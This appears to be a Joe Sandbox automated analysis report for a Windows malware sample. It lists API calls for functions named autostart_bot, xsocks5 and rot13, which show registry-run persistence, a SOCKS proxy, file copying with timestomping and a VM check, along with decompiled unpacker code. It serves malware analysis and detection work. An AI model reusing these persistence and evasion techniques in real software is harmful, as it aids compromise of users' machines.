Opcode Fuzzy Hash: 8076f9db43a5ac6dba544c66358812596f95421586db3cef0b3e8a3b3525caf9
Instruction Fuzzy Hash: 5D11D4B4808305AFE700EF69D58535FBBF8EF44394F00882EEC9887245E375E6488B82

Uniqueness

Uniqueness Score: -1.00%

Function 100029B8 Relevance: 7.5, APIs: 5, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

rot13.SHERVANS ref: 100029D3

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 100029ED

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

autostart_bot.SHERVANS ref: 100029F2

Part of subcall function 1000237F: rot13.SHERVANS ref: 1000239A
Part of subcall function 1000237F: add_system_direcroty.SHERVANS ref: 100023B4
Part of subcall function 1000237F: rot13.SHERVANS ref: 100023CA
Part of subcall function 1000237F: rot13.SHERVANS ref: 100023E0
Part of subcall function 1000237F: RegOpenKeyExA.ADVAPI32 ref: 1000240A
Part of subcall function 1000237F: RegOpenKeyExA.ADVAPI32 ref: 1000243B
Part of subcall function 1000237F: lstrlen.KERNEL32 ref: 10002450
Part of subcall function 1000237F: RegSetValueExA.ADVAPI32 ref: 10002484
Part of subcall function 1000237F: RegCloseKey.ADVAPI32 ref: 10002495

Sleep.KERNEL32 ref: 10002A04
xsocks5.SHERVANS ref: 10002A0F

Part of subcall function 10002278: rot13.SHERVANS ref: 10002297
Part of subcall function 10002278: RegOpenKeyExA.ADVAPI32 ref: 100022C1
Part of subcall function 10002278: RegCreateKeyExA.ADVAPI32 ref: 10002312
Part of subcall function 10002278: lstrlen.KERNEL32 ref: 10002326
Part of subcall function 10002278: RegSetValueExA.ADVAPI32 ref: 10002358
Part of subcall function 10002278: RegCloseKey.ADVAPI32 ref: 10002369

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: rot13$Openlstrlen$CloseValueadd_system_direcrotylstrcat$CreateDirectorySleepSystemautostart_botmemsetrot13cxsocks5
String ID:
API String ID: 1953300677-0
Opcode ID: 2f4a38cdcf28ce0af05b94f57a53248966ada0ad6c96a035229aa7fbd1f2329a
Instruction ID: e766e933713ebb2fd00dc86ca103d495f6d4a30245a9b19533916551fb43bf76
Opcode Fuzzy Hash: 2f4a38cdcf28ce0af05b94f57a53248966ada0ad6c96a035229aa7fbd1f2329a
Instruction Fuzzy Hash: 9FF0C0B4408708ABE750EF60C58565EBBB4EF00390F41896CE8C94324AE73565C89F53

Uniqueness

Uniqueness Score: -1.00%

Function 004056D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 004056F4

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

CopyFileA.KERNEL32 ref: 0040573B

Part of subcall function 004054F2: CreateFileA.KERNEL32 ref: 00405531
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405574
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040559A
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 004055A9
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 004055D4
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004055FA
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 00405609
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405634
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040565A
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 0040567D
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004056AF
Part of subcall function 004054F2: CloseHandle.KERNEL32 ref: 004056C0

Part of subcall function 0040435C: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
Part of subcall function 0040435C: GetFileTime.KERNEL32 ref: 004043CD
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 004043E5
Part of subcall function 0040435C: CreateFileA.KERNEL32 ref: 00404423
Part of subcall function 0040435C: SetFileTime.KERNEL32 ref: 00404453
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 00404467

Strings

user32.dll, xrefs: 0040574B
tepbcl.qyy, xrefs: 004056FC

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$PointerWrite$CloseCreateHandle$SleepTimelstrcat$CopyDirectoryModuleNameSystemlstrlenmemset
String ID: tepbcl.qyy$user32.dll
API String ID: 3363447152-446725262
Opcode ID: de95d79bbbfaf08a5f65ed3c41234fbb1e38ded78e62ee2fe25aec3cbfbd0c72
Instruction ID: 761182c28210547fcfec4951540a2b2b9fde320736257bd646c4dd079449f565
Opcode Fuzzy Hash: de95d79bbbfaf08a5f65ed3c41234fbb1e38ded78e62ee2fe25aec3cbfbd0c72
Instruction Fuzzy Hash: D401EDF08097149AC710BF65D58529EBFF4EF84758F01886EF5C827281C7B95588CB97

Uniqueness

Uniqueness Score: -1.00%

Function 10002B9C Relevance: 6.1, APIs: 4, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 10002BD6
RegOpenKeyExA.ADVAPI32 ref: 10002C04
RegQueryValueExA.ADVAPI32 ref: 10002C3F
RegCloseKey.ADVAPI32 ref: 10002C4F

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: ad9b9523f42a2e9449b14fb8281407f1dc35ffddc838d3f016af78ec4bc48b7f
Instruction ID: b21aa83fbe8ad37c53a20fbf8e9d077e9d87781769b07b01f65202f866b88801
Opcode Fuzzy Hash: ad9b9523f42a2e9449b14fb8281407f1dc35ffddc838d3f016af78ec4bc48b7f
Instruction Fuzzy Hash: 3621C8B49043099FE700EF69C58575EBBF4EF48384F40886DE89897345E374DA488B52

Uniqueness

Uniqueness Score: -1.00%

Function 00404748 Relevance: 6.1, APIs: 4, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,00404A84), ref: 00404781
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047AF
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047EA
RegCloseKey.ADVAPI32 ref: 004047FA

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 788364dfb925f572286ead044381b62b9ce985eb10bd0cffd60a9e6ef2279f1d
Instruction ID: 6ed68635854e72cbad61cdb7226dc2d583aa3803ebbc72776a4c5814d6946410
Opcode Fuzzy Hash: 788364dfb925f572286ead044381b62b9ce985eb10bd0cffd60a9e6ef2279f1d
Instruction Fuzzy Hash: 962179B49043099FD700EF69D58579EBBF4BB48354F40896EE89897341E378D648CB52

Uniqueness

Uniqueness Score: -1.00%

Function 10001F57 Relevance: 6.1, APIs: 4, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 10001F90
RegOpenKeyExA.ADVAPI32 ref: 10001FBE
RegQueryValueExA.ADVAPI32 ref: 10001FF9
RegCloseKey.ADVAPI32 ref: 10002009

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 27a766e30244a2e05984018c0b4b905970e7196a3b8cd9ad0044181cec5309ac
Instruction ID: 85737ef945bcec28308b1c993999e411a83c54719117432306d8d37fab97eb4a
Opcode Fuzzy Hash: 27a766e30244a2e05984018c0b4b905970e7196a3b8cd9ad0044181cec5309ac
Instruction Fuzzy Hash: 082193B4904309AFDB00EF69C58579EBBF4EF48394F40886DE89893345E374D6488B92

Uniqueness

Uniqueness Score: -1.00%

Function 004048E2 Relevance: 6.0, APIs: 4, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00403CC4), ref: 0040490E
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CC4), ref: 0040493C
RegSetValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404974
RegCloseKey.ADVAPI32 ref: 00404982

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseValue
String ID:
API String ID: 503941690-0
Opcode ID: 8273f13c3081dc19d4445e322601c3b2f268dd5fec60ff3e337f340c7e888451
Instruction ID: d52cf87232b6bef55ae32812e2a2d770b7a0cdaf13e0b01d7b079ce95a9ef0d7
Opcode Fuzzy Hash: 8273f13c3081dc19d4445e322601c3b2f268dd5fec60ff3e337f340c7e888451
Instruction Fuzzy Hash: 8711C2F0808305AFDB00EF69C18575EBBF4BB84358F40892EE88897241E378D6488F92

Uniqueness

Uniqueness Score: -1.00%

Function 1000B670 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 53%

			_entry_(intOrPtr _a4, char _a8, intOrPtr _a12) {
				void* _v12;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v128;
				long _t34;
				long _t35;
				long _t40;
				long _t47;
				signed int _t49;
				intOrPtr _t52;
				void* _t57;
				intOrPtr* _t58;

				if(_a8 != 1) {
					L62:
					_t58 = _t57 - 0x10;
					_t52 = _a8;
					if(_t52 == 1) {
						 *_t58 = 0x80;
						_t34 = malloc(??);
						 *0x10006000 = _t34;
						__eflags = _t34;
						if(_t34 == 0) {
							L100034A0();
							 *_t34 = 0xc;
							_t35 = 0;
						} else {
							 *_t34 = 0;
							 *0x10006010 = _t34;
							E10003110(_t34);
							E100030F0();
							goto L2;
						}
					} else {
						L2:
						_v24 = _t52;
						_v20 = _a12;
						 *_t58 = _a4; // executed
						_t40 = E10002EC6(); // executed
						_t47 = _t40;
						if(((0 | _t47 == 0x00000000) & (_t49 & 0xffffff00 | _t52 == 0x00000001)) != 0) {
							E10001000();
						}
						if(_t52 == 0) {
							if( *0x10006000 != 0) {
								E10001000();
							} else {
								_t47 = 0;
							}
						}
						_t35 = _t47;
					}
					return _t35;
				} else {
					asm("pushad");
					__esi = "oseHandle";
					__edi = __esi - 0x9015;
					_push(__edi);
					while(1) {
						__ebx =  *__esi;
						__esi = __esi - 0xfffffffc;
						asm("adc ebx, ebx");
						do {
							if(__eflags < 0) {
								__al =  *__esi;
								__esi = __esi + 1;
								 *__edi = __al;
								__edi = __edi + 1;
								__eflags = __edi;
								goto L15;
							}
							__eax = 1;
							goto L19;
							do {
								do {
									L19:
									__ebx = __ebx + __ebx;
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebx =  *__esi;
										__esi = __esi - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									asm("adc eax, eax");
									__ebx = __ebx + __ebx;
									__eflags = __ebx;
								} while (__eflags >= 0);
								if(__eflags == 0) {
									goto L23;
								}
								break;
								L23:
								__ebx =  *__esi;
								__esi = __esi - 0xfffffffc;
								__eflags = __esi;
								asm("adc ebx, ebx");
							} while (__esi >= 0);
							__ecx = 0;
							__eax = __eax - 3;
							__eflags = __eax;
							if(__eax < 0) {
								L27:
								__ebx = __ebx + __ebx;
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebx =  *__esi;
									__esi = __esi - 0xfffffffc;
									asm("adc ebx, ebx");
								}
								asm("adc ecx, ecx");
								__ebx = __ebx + __ebx;
								__eflags = __ebx;
								if(__eflags == 0) {
									__ebx =  *__esi;
									__esi = __esi - 0xfffffffc;
									asm("adc ebx, ebx");
								}
								asm("adc ecx, ecx");
								if(__eflags == 0) {
									__ecx = __ecx + 1;
									__eflags = __ecx;
									goto L33;
									do {
										do {
											L33:
											__ebx = __ebx + __ebx;
											__eflags = __ebx;
											if(__ebx == 0) {
												__ebx =  *__esi;
												__esi = __esi - 0xfffffffc;
												asm("adc ebx, ebx");
											}
											asm("adc ecx, ecx");
											__ebx = __ebx + __ebx;
											__eflags = __ebx;
										} while (__eflags >= 0);
										if(__eflags == 0) {
											goto L37;
										}
										break;
										L37:
										__ebx =  *__esi;
										__esi = __esi - 0xfffffffc;
										__eflags = __esi;
										asm("adc ebx, ebx");
									} while (__esi >= 0);
									__ecx = __ecx + 2;
									__eflags = __ecx;
								}
								__eflags = __ebp - 0xfffff300;
								asm("adc ecx, 0x1");
								__edx = __edi + __ebp;
								__eflags = __ebp - 0xfffffffc;
								if(__ebp <= 0xfffffffc) {
									do {
										__eax =  *__edx;
										__edx =  &(__edx[1]);
										 *__edi = __eax;
										__edi = __edi + 4;
										__ecx = __ecx - 4;
										__eflags = __ecx;
									} while (__ecx > 0);
									__edi = __edi + __ecx;
								} else {
									do {
										__al =  *__edx;
										__edx =  &(__edx[0]);
										 *__edi = __al;
										__edi = __edi + 1;
										__ecx = __ecx - 1;
										__eflags = __ecx;
									} while (__ecx != 0);
								}
								goto L15;
								do {
									do {
										L45:
										__al =  *__edi;
										__edi = __edi + 1;
										__al = __al - 0xe8;
										__eflags = __al - 1;
									} while (__al > 1);
									__eflags =  *__edi;
								} while ( *__edi != 0);
								__eax =  *__edi;
								__bl =  *(__edi + 4);
								__ax = __ax >> 8;
								asm("rol eax, 0x10");
								_t17 = __al;
								__al = __ah;
								__ah = _t17;
								__eax =  *__edi - __edi;
								__bl =  *(__edi + 4) - 0xe8;
								__eax = __esi +  *__edi - __edi;
								 *__edi = __esi +  *__edi - __edi;
								__eflags = __edi;
								__al = __bl;
								asm("loop 0xffffffdb");
								__edi = __esi + 0x9000;
								while(1) {
									L48:
									__eax =  *__edi;
									__eax =  *__edi;
									__eflags = __eax;
									if(__eax == 0) {
										break;
									}
									__ebx =  *(__edi + 4);
									__eax = __eax + __esi + 0xb000;
									__ebx = __esi +  *(__edi + 4);
									__edi = __edi + 8;
									__eflags = __edi;
									_t23 =  *((intOrPtr*)(__esi + 0xb078))(__eax);
									__eax = __ebp;
									__ebp = _t23;
									while(1) {
										__al =  *__edi;
										__edi = __edi + 1;
										__al = __al;
										__eflags = __al;
										if(__al == 0) {
											goto L48;
										}
										__ecx = __edi;
										__eax = __eax - 1;
										asm("repne scasb");
										__eax =  *((intOrPtr*)(__esi + 0xb07c))(__ebp, __edi);
										__eax = __eax;
										__eflags = __eax;
										if(__eax == 0) {
											asm("popad");
											__eax = 0;
											__eflags = 0;
											return 0;
										} else {
											 *__ebx = __eax;
											__ebx = __ebx + 4;
											continue;
										}
										goto L63;
									}
								}
								__edi = __edi + 4;
								__eflags = __edi;
								__ebx = __esi - 4;
								while(1) {
									__eax = 0;
									__al =  *__edi;
									__edi = __edi + 1;
									__eax = 0;
									__eflags = 0;
									if(0 == 0) {
										break;
									}
									__eflags = __al - 0xef;
									if(__al > 0xef) {
										__al = __al & 0x0000000f;
										__eax = 0 << 0x10;
										__ax =  *__edi;
										__edi = __edi + 2;
									}
									__ebx = __ebx + __eax;
									__eax =  *__ebx;
									_t26 = __al;
									__al = __ah;
									__ah = _t26;
									asm("rol eax, 0x10");
									_t27 = __al;
									__al = _t26;
									__ah = _t27;
									__eax = __esi +  *__ebx;
									 *__ebx = __esi +  *__ebx;
								}
								__ebp =  *(__esi + 0xb080);
								__edi = __esi - 0x1000;
								__ebx = 0x1000;
								_push(0);
								__eax = VirtualProtect(__edi, 0x1000, 4, __esp); // executed
								__eax = __edi + 0x19f;
								 *__eax =  *__eax & 0x0000007f;
								_t31 = __eax + 0x28;
								 *_t31 =  *(__eax + 0x28) & 0x0000007f;
								__eflags =  *_t31;
								_pop(__eax);
								__eax = VirtualProtect(__edi, 0x1000, __eax, __esp); // executed
								__eax = __eax;
								asm("popad");
								__eax =  &_v128;
								do {
									_push(0);
									__eflags = __esp - __eax;
								} while (__esp != __eax);
								__esp = __esp - 0xffffff80;
								goto L62;
							}
							__eax = __eax << 8;
							__al =  *__esi;
							__esi = __esi + 1;
							__eax = __eax ^ 0xffffffff;
							__eflags = __eax;
							if(__eax != 0) {
								__ebp = __eax;
								goto L27;
							}
							_pop(__esi);
							__edi = __esi;
							__ecx = 0xf4;
							goto L45;
							L15:
							__ebx = __ebx + __ebx;
							__eflags = __ebx;
						} while (__eflags != 0);
					}
				}
				L63:
			}

0x1000b675
0x1000b834
0x10001065
0x10001068
0x1000106e
0x100010b7
0x100010be
0x100010c3
0x100010c8
0x100010ca
0x100010f7
0x100010fc
0x10001102
0x100010cc
0x100010cc
0x100010d2
0x100010d7
0x100010dc
0x00000000
0x100010dc
0x10001070
0x10001070
0x10001070
0x10001077
0x1000107e
0x10001081
0x10001086
0x1000109a
0x100010e3
0x100010e3
0x1000109e
0x100010a8
0x100010f0
0x100010aa
0x100010aa
0x100010aa
0x100010a8
0x100010ac
0x100010ac
0x100010b4
0x1000b67b
0x1000b67b
0x1000b67c
0x1000b681
0x1000b687
0x1000b69a
0x1000b69a
0x1000b69c
0x1000b69f
0x1000b6a1
0x1000b6a1
0x1000b690
0x1000b692
0x1000b693
0x1000b695
0x1000b695
0x00000000
0x1000b695
0x1000b6a3
0x1000b6a3
0x1000b6a8
0x1000b6a8
0x1000b6a8
0x1000b6a8
0x1000b6a8
0x1000b6aa
0x1000b6ac
0x1000b6ae
0x1000b6b1
0x1000b6b1
0x1000b6b3
0x1000b6b5
0x1000b6b5
0x1000b6b5
0x1000b6b9
0x00000000
0x00000000
0x00000000
0x1000b6bb
0x1000b6bb
0x1000b6bd
0x1000b6bd
0x1000b6c0
0x1000b6c0
0x1000b6c4
0x1000b6c6
0x1000b6c6
0x1000b6c9
0x1000b6d8
0x1000b6d8
0x1000b6d8
0x1000b6da
0x1000b6dc
0x1000b6de
0x1000b6e1
0x1000b6e1
0x1000b6e3
0x1000b6e5
0x1000b6e5
0x1000b6e7
0x1000b6e9
0x1000b6eb
0x1000b6ee
0x1000b6ee
0x1000b6f0
0x1000b6f2
0x1000b6f4
0x1000b6f4
0x1000b6f4
0x1000b6f5
0x1000b6f5
0x1000b6f5
0x1000b6f5
0x1000b6f5
0x1000b6f7
0x1000b6f9
0x1000b6fb
0x1000b6fe
0x1000b6fe
0x1000b700
0x1000b702
0x1000b702
0x1000b702
0x1000b706
0x00000000
0x00000000
0x00000000
0x1000b708
0x1000b708
0x1000b70a
0x1000b70a
0x1000b70d
0x1000b70d
0x1000b711
0x1000b711
0x1000b711
0x1000b714
0x1000b71a
0x1000b71d
0x1000b720
0x1000b723
0x1000b734
0x1000b734
0x1000b736
0x1000b739
0x1000b73b
0x1000b73e
0x1000b73e
0x1000b73e
0x1000b743
0x1000b725
0x1000b725
0x1000b725
0x1000b727
0x1000b728
0x1000b72a
0x1000b72b
0x1000b72b
0x1000b72b
0x1000b72e
0x00000000
0x1000b752
0x1000b752
0x1000b752
0x1000b752
0x1000b754
0x1000b755
0x1000b757
0x1000b757
0x1000b75b
0x1000b75b
0x1000b760
0x1000b762
0x1000b765
0x1000b769
0x1000b76c
0x1000b76c
0x1000b76c
0x1000b76e
0x1000b770
0x1000b773
0x1000b775
0x1000b777
0x1000b77a
0x1000b77c
0x1000b77e
0x1000b784
0x1000b784
0x1000b784
0x1000b786
0x1000b786
0x1000b788
0x00000000
0x00000000
0x1000b78a
0x1000b78d
0x1000b794
0x1000b797
0x1000b797
0x1000b7a0
0x1000b7a0
0x1000b7a0
0x1000b7a1
0x1000b7a1
0x1000b7a3
0x1000b7a4
0x1000b7a4
0x1000b7a6
0x00000000
0x00000000
0x1000b7a8
0x1000b7ab
0x1000b7ac
0x1000b7af
0x1000b7b5
0x1000b7b5
0x1000b7b7
0x1000b7c0
0x1000b7c1
0x1000b7c1
0x1000b7c3
0x1000b7b9
0x1000b7b9
0x1000b7bb
0x00000000
0x1000b7bb
0x00000000
0x1000b7b7
0x1000b7a1
0x1000b7c6
0x1000b7c6
0x1000b7c9
0x1000b7cc
0x1000b7cc
0x1000b7ce
0x1000b7d0
0x1000b7d1
0x1000b7d1
0x1000b7d3
0x00000000
0x00000000
0x1000b7d5
0x1000b7d7
0x1000b7ea
0x1000b7ec
0x1000b7ef
0x1000b7f2
0x1000b7f2
0x1000b7d9
0x1000b7db
0x1000b7dd
0x1000b7dd
0x1000b7dd
0x1000b7df
0x1000b7e2
0x1000b7e2
0x1000b7e2
0x1000b7e4
0x1000b7e6
0x1000b7e6
0x1000b7f7
0x1000b7fd
0x1000b803
0x1000b808
0x1000b80e
0x1000b810
0x1000b816
0x1000b819
0x1000b819
0x1000b819
0x1000b81d
0x1000b823
0x1000b825
0x1000b826
0x1000b827
0x1000b82b
0x1000b82b
0x1000b82d
0x1000b82d
0x1000b831
0x00000000
0x1000b831
0x1000b6cb
0x1000b6ce
0x1000b6d0
0x1000b6d1
0x1000b6d1
0x1000b6d4
0x1000b6d6
0x00000000
0x1000b6d6
0x1000b74a
0x1000b74b
0x1000b74d
0x00000000
0x1000b696
0x1000b696
0x1000b696
0x1000b696
0x1000b6a1
0x1000b69a
0x00000000

Strings

oseHandle, xrefs: 1000B67C

Memory Dump Source

Source File: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID:
String ID: oseHandle
API String ID: 0-3110874022
Opcode ID: 55b444f5287c2d11894ddcccc202fc63c889c2cb23919d4899b9ba0c6a4af2f8
Instruction ID: 6777197e7aff05cd1e47f9124ab84a08ecd71be59056bc9e2c07408dd8449df4
Opcode Fuzzy Hash: 55b444f5287c2d11894ddcccc202fc63c889c2cb23919d4899b9ba0c6a4af2f8
Instruction Fuzzy Hash: DD51F871648B925BF710DE788CC07957BD4DB812E4B290738D9E5CB3CAE7A8580687A0

Uniqueness

Uniqueness Score: -1.00%

Function 004049EA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00404748: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,00404A84), ref: 00404781
Part of subcall function 00404748: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047AF
Part of subcall function 00404748: RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047EA
Part of subcall function 00404748: RegCloseKey.ADVAPI32 ref: 004047FA

CharLowerA.USER32 ref: 00404A8B

Part of subcall function 00404990: strstr.MSVCRT ref: 004049C7

Strings

SYSTEM\ControlSet001\Services\Disk\Enum, xrefs: 004049F5
012, xrefs: 00404A45

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CharCloseLowerQueryValuestrstr
String ID: 012$SYSTEM\ControlSet001\Services\Disk\Enum
API String ID: 2399448135-1634863437
Opcode ID: 63ad2961c44aed94491a08e231f8cdb63fefdf94793549163df92be3ee8e9100
Instruction ID: 870a1de997922802b68f1717d84fe3bed6c75bca7598e79a585ce558600d9c18
Opcode Fuzzy Hash: 63ad2961c44aed94491a08e231f8cdb63fefdf94793549163df92be3ee8e9100
